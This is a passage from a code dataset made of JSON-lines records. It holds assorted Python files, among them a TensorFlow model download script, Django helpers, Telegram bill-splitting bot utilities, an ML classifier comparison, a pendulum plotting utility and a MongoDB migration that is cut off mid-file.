split_idx(self, idx_train, idx_validate, idx_test=None):\n \"\"\" Split dataset using an index list / array \"\"\"\n len_test = len(idx_test) if idx_test is not None else 0\n len_validate = len(idx_validate) if idx_validate is not None else 0\n self._debug(f\"Split dataset by idx. Lengths, train: {len(idx_train)}, validate: {len(idx_validate)}, test:{len_test}\")\n self.dataset_train = self[idx_train]\n if len_validate > 0:\n self.dataset_validate = self[idx_validate]\n if len_test > 0:\n self.dataset_test = self[idx_test]\n self.in_outs()\n return True\n","sub_path":"src/logml/datasets/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":13043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"68763124","text":"import os\nimport shutil\nimport tarfile\nimport urllib.request as urllib\n\nfrom settings import model_dir\n\ndef download_od_model():\n \"\"\"\n Downloads a mobile model from the Tensorflow model zoo and prepares it for usage in\n Tensorflow Serving.\n \"\"\"\n model_name = 'ssd_mobilenet_v2_coco_2018_03_29'\n fname = '{}.tar.gz'.format(model_name)\n url = \"http://download.tensorflow.org/models/object_detection/{}\".format(fname)\n mobile_dir = os.path.join(model_dir, model_name)\n\n if not os.path.exists(mobile_dir):\n os.mkdir(mobile_dir)\n file = urllib.URLopener()\n file.retrieve(url, fname)\n\n tar = tarfile.open(fname, \"r:gz\")\n tar.extractall('models')\n tar.close()\n os.remove(fname)\n\n checkpoint_dir = os.path.join(mobile_dir, '1')\n os.rename(os.path.join(mobile_dir, 'saved_model'), checkpoint_dir)\n shutil.move(os.path.join(mobile_dir, 'checkpoint'),\n os.path.join(checkpoint_dir, 'checkpoint'))\n shutil.move(os.path.join(mobile_dir, 'frozen_inference_graph.pb'),\n os.path.join(checkpoint_dir, 'frozen_inference_graph.pb'))\n shutil.move(os.path.join(mobile_dir, 'model.ckpt.data-00000-of-00001'),\n os.path.join(checkpoint_dir, 'model.ckpt.data-00000-of-00001'))\n shutil.move(os.path.join(mobile_dir, 'model.ckpt.index'),\n os.path.join(checkpoint_dir, 'model.ckpt.index'))\n shutil.move(os.path.join(mobile_dir, 'model.ckpt.meta'),\n os.path.join(checkpoint_dir, 'model.ckpt.meta'))\n shutil.move(os.path.join(mobile_dir, 'pipeline.config'),\n os.path.join(checkpoint_dir, 'pipeline.config'))\n\nif __name__ == '__main__':\n download_od_model()\n","sub_path":"object_detector/download_od_model.py","file_name":"download_od_model.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"380389817","text":"\n# simpypatch1.py\n# \n# Instrument the step() method a little more to get useful information\n# out of errors in the events. The \"raise exc\" line fails 100% of the\n# time without revealing anything about the problem; all we get is \n# \"not enough arguments for format string.\"\n\n\ndef step(self):\n \"\"\"Process the next event.\n\n Raise an :exc:`EmptySchedule` if no further events are available.\n\n \"\"\"\n print(\"\\nENTERING step:\")\n try:\n self._now, _, _, event = heappop(self._queue)\n print(\"now:\", self._now, \"event:\", event)\n except IndexError:\n raise EmptySchedule()\n\n # Process callbacks of the event. Set the events callbacks to None\n # immediately to prevent concurrent modifications.\n callbacks, event.callbacks = event.callbacks, None\n print(\"callbacks:\", callbacks)\n for callback in callbacks:\n callback(event)\n\n print(\"event.ok\", event.ok)\n if not event.ok and not hasattr(event, 'defused'):\n # The event has failed and has not been defused. Crash the\n # environment.\n # Create a copy of the failure exception with a new traceback.\n exc = type(event._value)(*event._value.args)\n exc.__cause__ = event._value\n raise exc\n\nfrom simpy import Environment\nfrom heapq import heappush, heappop\n\nEnvironment.step = step\n\n\n","sub_path":"shelf/simpypatch1.py","file_name":"simpypatch1.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"525052593","text":"from util import *\n\n\n@apply\ndef apply(given):\n n = given.of(Equal[Expr % 2, 0])\n return Equal((-1) ** n, 1)\n\n\n@prove\ndef prove(Eq):\n from axiom import algebra\n# n = q * d + r\n n = Symbol(integer=True, given=True)\n\n Eq << apply(Equal(n % 2, 0))\n\n Eq << ~Eq[0]\n\n Eq << algebra.mod_ne_zero.imply.is_odd.apply(Eq[-1])\n\n Eq << algebra.is_odd.imply.eq.pow.apply(Eq[-1])\n\n Eq <<= Eq[-1] & Eq[1]\n\n\nif __name__ == '__main__':\n run()\n# created on 2019-10-10\n","sub_path":"axiom/algebra/is_even/given/eq.py","file_name":"eq.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"529372979","text":"from django import template\n\nimport random\nimport markdown2\nimport string\n\nfrom minerals.models import Mineral\n\n\nregister = template.Library()\n\n\n@register.inclusion_tag('minerals/logo_header.html')\ndef logo_header():\n \"\"\"Displays the logo and header for the website\"\"\"\n return {}\n\n\n@register.inclusion_tag('minerals/random_mineral.html')\ndef random_mineral():\n return {\"mineral\": random.choice(Mineral.objects.all())}\n\n\n@register.filter('markdown_to_html')\ndef markdown_to_html(markdown_text):\n \"\"\"Converts markdown text to HTML\"\"\"\n html_body = markdown2.markdown(markdown_text)\n return html_body\n\n\n@register.inclusion_tag('minerals/alpha_nav.html')\ndef alpha_nav(current):\n alpha_list = [x for x in string.ascii_uppercase]\n return {'alpha_list': alpha_list, 'current': current}\n\n\n@register.inclusion_tag('minerals/group_nav.html')\ndef group_search(current):\n groups = [\n 'silicates',\n 'oxides',\n 'sulfates',\n 'sulfides',\n 'carbonates',\n 'halides',\n 'sulfosalts',\n 'phosphates',\n 'borates',\n 'organic',\n 'arsenates',\n 'native',\n 'other']\n\n return {'groups': groups, 'current': current}\n\n\n\n","sub_path":"minerals/templatetags/mineral_extras.py","file_name":"mineral_extras.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"619084291","text":"from django.conf.urls import url\nfrom . import views\nimport django.contrib.auth.views as djangoviews\n\n\nurlpatterns = [\n url(r'^$', views.post_list, name='post_list'),\n url(r'^post/(?P\\d+)/$', views.post_detail, name='post_detail'),\n url(r'^post/new/$', views.post_new, name='post_new'),\n url(r'^post/(?P\\d+)/edit/$', views.post_edit, name='post_edit'),\n\n url(r'^post/(?P\\d+)/comment/$', views.add_comment_to_post, name='add_comment_to_post'),\n url(r'^comment/(?P\\d+)/approve/$', views.comment_approve, name='comment_approve'),\n url(r'^comment/(?P\\d+)/remove/$', views.comment_remove, name='comment_remove'),\n\n url(r'^accounts/login/$', djangoviews.login, name='login'),\n url(r'^accounts/logout/$', djangoviews.logout, name='logout', kwargs={'next_page': '/'}),\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"62900722","text":"import os, shutil\r\n\r\nlistOfFiles = [] \r\nwith open(r'example\\Desktop\\list.txt') as listDocument:\r\n for row in listDocument:\r\n listOfFiles.append(row)\r\n\r\nfor root, dirs, files in os.walk(r'\\\\example\\directory\\images\\old'):\r\n for _file in files:\r\n if _file + '\\n' in listOfFiles:\r\n print\r\n 'Found file in: ' + str(root)\r\n shutil.copy(os.path.abspath(root + '/' + _file), r'\\\\example\\directory\\images\\new')\r\n else:\r\n print (\"file: {}\".format(_file))\r\n","sub_path":"FileCopy/copier.py","file_name":"copier.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"24015502","text":"from email.mime import text\nfrom datetime import *\nfrom google.cloud import vision\nimport pytz\nimport logging\nimport os\nfrom tokenize import String, group\nfrom .gcloudparser import GcloudParser\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\nfrom uuid import uuid4\nfrom telegram.utils.helpers import escape_markdown\nfrom telegram.ext import InlineQueryHandler, Updater, CommandHandler, CallbackQueryHandler, CallbackContext, Filters, MessageHandler\nfrom telegram import Chat, Message, Bot, InlineQueryResultArticle, ParseMode, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup, Update, replymarkup\n\nfrom .bot_sql_integration import *\n\n\nTOKEN = os.environ['API_TOKEN']\n# os.environ['GOOGLE_APPLICATION_CREDENTIALS']=r'gcloudkey.json'\ntz = pytz.timezone('Asia/Singapore')\nnow = datetime.now(tz) # the current time in your local timezone\n\ndef inlineQueryHelper(update):\n \"\"\"Helps to provide the display text for the inline query pop-up\"\"\"\n query =removeCrustFromString(update.inline_query.query)\n\n if len(query) > 44:\n return [\n InlineQueryResultArticle(\n id=str(uuid4()),\n title=query + \" is too long for an order name.\",\n input_message_content=InputTextMessageContent(\n \"Trying to create order with invalid name: \" + query + \"\\n\\nPlease key in a valid order name to start splitting!\"\n ),\n thumb_url='https://res.cloudinary.com/jianoway/image/upload/b_rgb:ffffff/v1621962567/icons8-cross-mark-96_zrk1p9.png',\n ),\n ]\n\n if '\\n' in query or 'New Order:' in query:\n return [\n InlineQueryResultArticle(\n id=str(uuid4()),\n title=query + \" is not a valid order name.\",\n input_message_content=InputTextMessageContent(\n \"Trying to create order with invalid name: \" + query + \"\\n\\nPlease key in a valid order name to start splitting!\"\n ),\n thumb_url='https://res.cloudinary.com/jianoway/image/upload/b_rgb:ffffff/v1621962567/icons8-cross-mark-96_zrk1p9.png',\n ),\n ]\n\n return [\n InlineQueryResultArticle(\n id = str(uuid4()),\n title = \"Create new order: \" + query,\n input_message_content=InputTextMessageContent(\n \"New Order: \" + query\n ),\n thumb_url='https://res.cloudinary.com/jianoway/image/upload/b_rgb:ffffff/v1621962373/icons8-user-groups-100_nxolfi.png',\n )\n ]\n\ndef formatListOfUsernames(usernameList):\n str = ''\n for username in usernameList:\n str += '\\n@' + username\n return str\n\ndef waitingForUserToChooseSplitKeyboardMarkup():\n keyboard = [\n [\n InlineKeyboardButton(\"Unevenly\", callback_data=\"newordersplitunevenly\"),\n InlineKeyboardButton(\"Evenly\", callback_data=\"newordersplitevenly\")\n ]\n ]\n return InlineKeyboardMarkup(keyboard)\n\ndef splitEvenlyFinalisedKeyboardMarkup():\n keyboard = [\n [\n InlineKeyboardButton(\"I've paid!\", callback_data='debtorEvenlyPaid'),\n InlineKeyboardButton(\"I've not paid!\", callback_data='debtorEvenlyUnpaid')\n ],\n # [\n # InlineKeyboardButton(\"Mark as settled\", callback_data='markAsSettled')\n # ]\n ]\n return InlineKeyboardMarkup(keyboard)\n\ndef splitUnevenlyFinalisedKeyboardMarkup():\n keyboard = [\n [\n InlineKeyboardButton(\"I've paid!\", callback_data='debtorUnevenlyPaid'),\n InlineKeyboardButton(\"I've not paid!\", callback_data='debtorUnevenlyUnpaid')\n ],\n # [\n # InlineKeyboardButton(\"Mark as settled\", callback_data='markAsSettled')\n # ]\n ]\n return InlineKeyboardMarkup(keyboard)\n\ndef splitUnevenlyKeyboardMarkup(groupID, last):\n keyboardHolder = []\n buttonToFinalise = None\n\n if last:\n serviceChargeButton = InlineKeyboardButton(\"Service Charge?\", callback_data=\"servicechargecallbackdata\")\n GSTButton = InlineKeyboardButton(\"GST?\", callback_data=\"goodservicetax\")\n keyboardHolder.append([serviceChargeButton, GSTButton])\n buttonToFinalise = InlineKeyboardButton(\"Create Order\", callback_data='splitunevenlyfinalise')\n else:\n users = getAllUsersFromGroup(groupID)\n for user in users:\n firstname = getFirstName(user)\n username = getUsername(user)\n firstNameWithUsername = firstname + \" (@\" + username + \")\"\n callback_data = 'splitunevenlycallbackdata' + '%s' % user \n keyboardHolder.append([InlineKeyboardButton(firstNameWithUsername, callback_data=callback_data)])\n addEveryone = InlineKeyboardButton(\"Add Everyone!\", callback_data='splitunevenlyaddeveryonecallbackdata')\n \n keyboardHolder.append([addEveryone])\n buttonToFinalise = InlineKeyboardButton(\"Next Item\", callback_data='splitunevenlynextitem')\n \n keyboardHolder.append([buttonToFinalise])\n return InlineKeyboardMarkup(keyboardHolder)\n\n\ndef splitEvenlyKeyboardMarkup(groupID):\n keyboardHolder = []\n\n users = getAllUsersFromGroup(groupID)\n\n for user in users:\n firstname = getFirstName(user)\n username = getUsername(user)\n firstNameWithUsername = firstname + \" (@\" + username + \")\"\n callback_data = 'splitevenlycallbackdata' + '%s' % user\n keyboardHolder.append([InlineKeyboardButton(firstNameWithUsername, callback_data=callback_data)])\n\n addEveryone = InlineKeyboardButton(\"Add Everyone!\", callback_data='splitevenlyaddeveryonecallbackdata')\n buttonToFinalise = InlineKeyboardButton(\"Create Order\", callback_data='SplitEvenlyFinalise')\n keyboardHolder.append([addEveryone])\n keyboardHolder.append([buttonToFinalise])\n\n return InlineKeyboardMarkup(keyboardHolder)\n \ndef receiptParser(url):\n client = vision.ImageAnnotatorClient()\n with BytesIO() as output:\n with Image.open(requests.get(\"%s\" % url, stream=True).raw) as img:\n img.save(output, 'BMP')\n content = output.getvalue()\n image = vision.Image(content = content)\n response = client.text_detection(image=image)\n parser = GcloudParser(debug=False)\n articles, dates, markets = parser.parse_response(response)\n formattedString = \"\"\n for article in articles:\n name = article[\"name\"]\n price = article[\"price\"]\n tempStr = \"%s - $%s\\n\" % (name, price)\n formattedString += tempStr\n return formattedString\n\n\ndef removeUUIDDashes(uuid):\n return \"\".join(str(uuid).split(\"-\"))\n\ndef removeUsernameFromDebtMessage(username, text):\n usernameWithTag = '@' + str(username)\n text = text\n if usernameWithTag in text:\n text = text.replace('\\n' + usernameWithTag, '', 1)\n return text\n\ndef addUsernameToDebtMessage(username, text):\n usernameWithTag = '@' + str(username)\n text = text\n if usernameWithTag not in text:\n text += '\\n' + usernameWithTag\n return text\n\ndef takeSecond(element):\n return element[1]\n\ndef formatTransactionsForCreditorKeyboardMarkup(transactions):\n if len(transactions) < 1:\n return\n print(transactions)\n \n firstTransaction = transactions[0]\n currentOrderID = firstTransaction[1]\n date = getOrderDateFromOrderID(currentOrderID)\n formattedDate = date.strftime(\"%d %B %Y\")\n currentOrderName = getOrderNameFromOrderID(currentOrderID)\n currentGroupID = getGroupIDFromOrder(currentOrderID)\n currentGroupName = getGroupNameFromGroupID(currentGroupID)\n keyboardHolder = []\n keyboardHolder.append([InlineKeyboardButton('Order: %s %s (%s)' % (currentOrderName, formattedDate, currentGroupName), callback_data='null')])\n\n for transaction in transactions:\n transactionID = transaction[0]\n transactionOrderID = transaction[1]\n if transactionOrderID != currentOrderID:\n currentOrderID = transactionOrderID\n currentGroupID = getGroupIDFromOrder(currentOrderID)\n currentGroupName = getGroupNameFromGroupID(currentGroupID)\n date = getOrderDateFromOrderID(currentOrderID)\n formattedDate = date.strftime(\"%d %B %Y\")\n currentOrderName = getOrderNameFromOrderID(currentOrderID)\n keyboardHolder.append([InlineKeyboardButton('Order: %s %s (%s)' % (currentOrderName, formattedDate, currentGroupName), callback_data='null')])\n \n debtorID = transaction[2]\n amountOwed = getFormattedAmountFromString(transaction[3])\n debtorUsername = getUsername(debtorID)\n debtorName = getFirstName(debtorID)\n tempKeyboard = [\n InlineKeyboardButton('%s' % debtorName, callback_data='null'),\n InlineKeyboardButton('@%s' % debtorUsername, callback_data='null'),\n InlineKeyboardButton('$%s' % amountOwed, callback_data='null'),\n InlineKeyboardButton('Notify', callback_data=\"notifydebtorcallbackdata%s\" % transactionID),\n InlineKeyboardButton('Settle', callback_data=\"settledebtforcreditor%s\" % transactionID)\n ]\n keyboardHolder.append(tempKeyboard)\n \n return InlineKeyboardMarkup(keyboardHolder)\n\ndef formatTransactionsForDebtorKeyboardMarkup(transactions):\n \n if len(transactions) < 1:\n return\n \n firstTransaction = transactions[0]\n currentOrderID = firstTransaction[1]\n date = getOrderDateFromOrderID(currentOrderID)\n formattedDate = date.strftime(\"%d %B %Y\")\n currentOrderName = getOrderNameFromOrderID(currentOrderID)\n currentGroupID = getGroupIDFromOrder(currentOrderID)\n currentGroupName = getGroupNameFromGroupID(currentGroupID)\n keyboardHolder = []\n keyboardHolder.append([InlineKeyboardButton('Order: %s %s (%s)' % (currentOrderName, formattedDate, currentGroupName), callback_data='null')])\n for transaction in transactions:\n transactionID = transaction[0]\n transactionOrderID = transaction[1]\n if transactionOrderID != currentOrderID:\n currentOrderID = transactionOrderID\n currentGroupID = getGroupIDFromOrder(currentOrderID)\n currentGroupName = getGroupNameFromGroupID(currentGroupID)\n date = getOrderDateFromOrderID(currentOrderID)\n formattedDate = date.strftime(\"%d %B %Y\")\n currentOrderName = getOrderNameFromOrderID(currentOrderID)\n keyboardHolder.append([InlineKeyboardButton('Order: %s %s (%s)' % (currentOrderName, formattedDate, currentGroupName), callback_data='null')])\n \n creditorID = transaction[2]\n amountOwed = getFormattedAmountFromString(transaction[3])\n creditorUsername = getUsername(creditorID)\n creditorName = getFirstName(creditorID)\n tempKeyboard = [\n InlineKeyboardButton('%s' % creditorName, callback_data='null'),\n InlineKeyboardButton('@%s' % creditorUsername, callback_data='null'),\n InlineKeyboardButton('$%s' % amountOwed, callback_data='null'),\n InlineKeyboardButton('Settle', callback_data=\"settledebtfordebtor%s\" % transactionID)\n ]\n keyboardHolder.append(tempKeyboard)\n \n return InlineKeyboardMarkup(keyboardHolder)\n\ndef removeCrustFromString(str):\n return str.rstrip().lstrip()\n\ndef isValidAmount(amt):\n temp = amt.replace('.', '', 1)\n if len(temp) < 1:\n return False\n else:\n if temp[0] == '$':\n temp = temp.replace('$', '', 1)\n return temp.isdigit()\n\ndef getFormattedAmountFromString(amt):\n newAmt = amt\n if isinstance(newAmt, str):\n newAmt = newAmt.replace(\"$\", \"\", 1)\n tempAmt = float(float(newAmt) + float(0.005))\n strAmt = str(tempAmt)\n decimalPosition = strAmt.find('.')\n temp = list(strAmt)\n strToReturn = ''\n if float(strAmt) == 0:\n return '0.00'\n if decimalPosition == -1:\n for digit in temp:\n if digit == '0' and strToReturn == '':\n continue\n else:\n strToReturn = strToReturn + digit\n strToReturn = strToReturn + '.00'\n else:\n counter = -1\n for digit in temp:\n counter += 1\n if counter > decimalPosition + 2:\n return strToReturn\n if digit == '0' and strToReturn == '' and counter != decimalPosition - 1:\n continue\n else:\n strToReturn = strToReturn + digit\n if counter == decimalPosition + 1:\n strToReturn = strToReturn + '0'\n if strToReturn.endswith('.'):\n strToReturn = strToReturn + '00'\n return strToReturn\n\ndef itemListToString(itemList):\n listStr = ''\n for item in itemList:\n print(item)\n listStr += '\\n' + item[0] + ' ('\n listStr += '$' + item[1] + ')'\n return listStr \n\n# removeUsernameFromSplitAllEvenlyDebtMessage('testuser1', '6a39016c-cd25-11eb-955c-acde48001122')\nclass Order:\n def __init__(self, orderID, groupID, orderName, orderAmount, creditorID, date):\n self.orderID = orderID\n self.groupID = groupID\n self.orderName = orderName\n self.orderAmount = orderAmount\n self.creditorID = creditorID\n self.date = date\n\nclass UsersAndSplitAmount:\n def __init__(self, users, splitAmount):\n self.users = users\n self.splitAmount = splitAmount\n \nclass Transaction:\n def __init__(self, transaction_id, orderID, splitAmount, creditorID, userID):\n self.transaction_id = transaction_id\n self.orderID = orderID,\n self.splitAmount = splitAmount\n self.creditorID = creditorID\n self.userID = userID\n\n","sub_path":"HELPME/helperFunctions.py","file_name":"helperFunctions.py","file_ext":"py","file_size_in_byte":13629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"236323069","text":"import abc\r\nfrom onepiecepredictor.MultiModelsPredictor import MultiModelsPredictor\r\nfrom onepiecepredictor.OnePieceClassifier import OnePieceClassifier\r\n\r\nclass MultiModelsClassifier(MultiModelsPredictor):\r\n \"\"\"\r\n For Comparing multiple classification models performance with cross validation and stratified splitting of data if required.\r\n\r\n X -> array-like(supported by Sklearn). If testTrainSplit is passed, this will be split into train and test\r\n Y -> array-like(supported by Sklearn). If testTrainSplit is passed, this will be split into train and test\r\n testX -> array-like(supported by Sklearn), test data. Ignored if testTrainSplit is passed\r\n testY -> array-like(supported by Sklearn), test data. Ignored if testTrainSplit is passed\r\n testTrainSplit -> float, ratio passed will be the amount of test data.\r\n stratify -> bool, used to perform stratified splitting. If passed data will be split based on Y.\r\n performCV -> bool, Used when hyperParams not passed to perform plain CV.\r\n folds -> int, No of folds to be used for CV.\r\n applySmote -> bool, To apply smote to oversample the data. Pass only one of applySmote or underSample\r\n underSample -> bool, To randomly undersample the majority data.\r\n sampling -> str, Values supported by SMOTE, RandomUnderSampler classes in imblearn library.\r\n scoring -> str, Evaluation metric. Currently supported values: accuracy,balanced_accuracy,f1,precision,recall,roc_auc. If not passed accuracy is used.\r\n targetEncodeCols -> List. List of columns to target encode.\r\n multiClass -> Pass true in case of multiclass classification.\r\n \"\"\"\r\n\r\n def __init__(self, X, Y, testX = None, testY = None,testTrainSplit = None,\r\n folds = 5, scoring = None, performCV = None, targetEncodeCols = None,\r\n applySmote=False, underSample=False, sampling=None, stratify=None, multiClass = False\r\n ):\r\n self.multiClass = multiClass\r\n self.applySmote = applySmote\r\n self.sampling = sampling\r\n self.stratify = stratify\r\n self.underSample = underSample\r\n super().__init__(X=X, Y=Y, testX=testX, testY=testY, testTrainSplit=testTrainSplit,\r\n folds=folds, scoring=scoring, performCV=performCV, targetEncodeCols=targetEncodeCols\r\n )\r\n\r\n def predict(self):\r\n \"\"\"\r\n Returns dictionary with keys as Models and Values as metric scores.\r\n \"\"\"\r\n dummyRef = OnePieceClassifier(X = self.X, Y = self.Y, model = \"LOGISTIC\", modelParams = None,testTrainSplit = self.testTrainSplit,\r\n testX = self.testX, testY = self.testY,folds = self.folds, scoring = self.scoring, performCV = self.performCV,\r\n targetEncodeCols = self.targetEncodeCols, applySmote = self.applySmote, underSample = self.underSample,\r\n sampling = self.sampling, stratify = self.stratify, multiClass = self.multiClass)\r\n\r\n tempX = dummyRef.trainX\r\n tempY = dummyRef.trainY\r\n tempTestX = dummyRef.testX\r\n tempTestY = dummyRef.testY\r\n\r\n classifiers = [\"LOGISTIC\",\"RF\",\"SVM\",\"KNN\",\"ADABOOST\",\"XGBOOST\",\"CATBOOST\"]\r\n resultsDict = {}\r\n for classifier in classifiers:\r\n op = OnePieceClassifier(X = tempX, Y = tempY, model = classifier, modelParams = None, testTrainSplit = None,\r\n testX = tempTestX, testY = tempTestY, folds = self.folds, scoring = self.scoring, performCV = self.performCV,\r\n targetEncodeCols = None, applySmote = False, underSample = False,\r\n sampling = None, stratify = False, multiClass = self.multiClass)\r\n\r\n op.fit()\r\n score, preds = op.predict()\r\n resultsDict[classifier] = score\r\n\r\n del op\r\n\r\n return resultsDict\r\n\r\n\r\n\r\n","sub_path":"build/lib/onepiecepredictor/MultiModelsClassifier.py","file_name":"MultiModelsClassifier.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"356941712","text":"#\n# Copyright (c) The acados authors.\n#\n# This file is part of acados.\n#\n# The 2-Clause BSD License\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.;\n#\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom acados_template import latexify_plot\n\n\ndef plot_pendulum(shooting_nodes, u_max, U, X_true, X_est=None, Y_measured=None, latexify=False, plt_show=True, X_true_label=None):\n \"\"\"\n Params:\n shooting_nodes: time values of the discretization\n u_max: maximum absolute value of u\n U: arrray with shape (N_sim-1, nu) or (N_sim, nu)\n X_true: arrray with shape (N_sim, nx)\n X_est: arrray with shape (N_sim-N_mhe, nx)\n Y_measured: array with shape (N_sim, ny)\n latexify: latex style plots\n \"\"\"\n\n if latexify:\n latexify_plot()\n\n WITH_ESTIMATION = X_est is not None and Y_measured is not None\n\n N_sim = X_true.shape[0]\n nx = X_true.shape[1]\n\n Tf = shooting_nodes[N_sim-1]\n t = shooting_nodes\n\n Ts = t[1] - t[0]\n if WITH_ESTIMATION:\n N_mhe = N_sim - X_est.shape[0]\n t_mhe = np.linspace(N_mhe * Ts, Tf, N_sim-N_mhe)\n\n plt.subplot(nx+1, 1, 1)\n line, = plt.step(t, np.append([U[0]], U))\n if X_true_label is not None:\n line.set_label(X_true_label)\n else:\n line.set_color('r')\n\n plt.ylabel('$u$')\n plt.xlabel('$t$')\n plt.hlines(u_max, t[0], t[-1], linestyles='dashed', alpha=0.7)\n plt.hlines(-u_max, t[0], t[-1], linestyles='dashed', alpha=0.7)\n plt.ylim([-1.2*u_max, 1.2*u_max])\n plt.xlim(t[0], t[-1])\n plt.grid()\n\n\n states_lables = ['$x$', r'$\\theta$', '$v$', r'$\\dot{\\theta}$']\n\n for i in range(nx):\n plt.subplot(nx+1, 1, i+2)\n line, = plt.plot(t, X_true[:, i], label='true')\n if X_true_label is not None:\n line.set_label(X_true_label)\n\n if WITH_ESTIMATION:\n plt.plot(t_mhe, X_est[:, i], '--', label='estimated')\n plt.plot(t, Y_measured[:, i], 'x', label='measured')\n\n plt.ylabel(states_lables[i])\n plt.xlabel('$t$')\n plt.grid()\n plt.legend(loc=1)\n plt.xlim(t[0], t[-1])\n\n plt.subplots_adjust(left=None, bottom=None, right=None, top=None, hspace=0.4)\n\n if plt_show:\n plt.show()\n","sub_path":"examples/acados_python/getting_started/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"626860931","text":"# ----------------------------------------------------------------------\n# Migrate SLAProfile threshold profiles\n# ----------------------------------------------------------------------\n# Copyright (C) 2007-2019 The NOC Project\n# See LICENSE for details\n# ----------------------------------------------------------------------\n\n# Python modules\nimport itertools\nimport operator\n\n# Third-party modules\nimport bson\nimport cachetools\n\n# NOC modules\nfrom noc.core.mongo.connection import get_db\nfrom noc.core.migration.base import BaseMigration\n\nSAVE_FIELDS = {\"_id\", \"metric_type\", \"enable_periodic\", \"enable_box\", \"is_stored\"}\n\n\nclass Migration(BaseMigration):\n _ac_cache = cachetools.TTLCache(maxsize=5, ttl=60)\n\n def migrate(self):\n current = itertools.count()\n db = self.mongo_db\n # Migrate profiles\n p_coll = db[\"noc.sla_profiles\"]\n tp_coll = db[\"thresholdprofiles\"]\n for doc in p_coll.find():\n metrics = doc.get(\"metrics\") or []\n changed = [m for m in metrics if self.has_thresholds(m)]\n if not changed and metrics:\n for metric in metrics:\n for f in set(metric) - SAVE_FIELDS:\n del metric[f]\n elif not changed:\n continue\n for n, metric in enumerate(changed):\n tp_id = bson.ObjectId()\n if metric.get(\"threshold_profile\"):\n # Extend existent threshold profile\n tp = tp_coll.find_one({\"_id\": metric[\"threshold_profile\"]})\n assert tp, \"Broken threshold profile\"\n tp[\"_id\"] = tp_id\n else:\n tp = {\"_id\": tp_id}\n # Fill profile\n tp[\"name\"] = \"sp-%05d-%03d\" % (next(current), n)\n tp[\"description\"] = \"Migrated for SLA profile '%s' metric '%s'\" % (\n doc[\"name\"],\n metric[\"metric_type\"],\n )\n tp[\"window_type\"] = metric.get(\"window_type\")\n tp[\"window\"] = metric.get(\"window\")\n tp[\"window_function\"] = metric.get(\"window_function\")\n tp[\"window_config\"] = metric.get(\"window_config\")\n # Build thresholds\n tp[\"thresholds\"] = []\n if metric.get(\"high_error\", False):\n tp[\"thresholds\"] += [\n {\n \"op\": \">=\",\n \"value\": metric[\"high_error\"],\n \"clear_op\": \"<\",\n \"clear_value\": metric[\"high_error\"],\n \"alarm_class\": self.get_alarm_class_id(\"NOC | PM | High Error\"),\n }\n ]\n if metric.get(\"low_error\", False):\n tp[\"thresholds\"] += [\n {\n \"op\": \"<=\",\n \"value\": metric[\"low_error\"],\n \"clear_op\": \">\",\n \"clear_value\": metric[\"low_error\"],\n \"alarm_class\": self.get_alarm_class_id(\"NOC | PM | Low Error\"),\n }\n ]\n if metric.get(\"low_warn\", False):\n tp[\"thresholds\"] += [\n {\n \"op\": \"<=\",\n \"value\": metric[\"low_warn\"],\n \"clear_op\": \">\",\n \"clear_value\": metric[\"low_warn\"],\n \"alarm_class\": self.get_alarm_class_id(\"NOC | PM | Low Warning\"),\n }\n ]\n if metric.get(\"high_warn\", False):\n tp[\"thresholds\"] += [\n {\n \"op\": \">=\",\n \"value\": metric[\"high_warn\"],\n \"clear_op\": \"<\",\n \"clear_value\": metric[\"high_warn\"],\n \"alarm_class\": self.get_alarm_class_id(\"NOC | PM | High Warning\"),\n }\n ]\n # Save profile\n tp_coll.insert_one(tp)\n 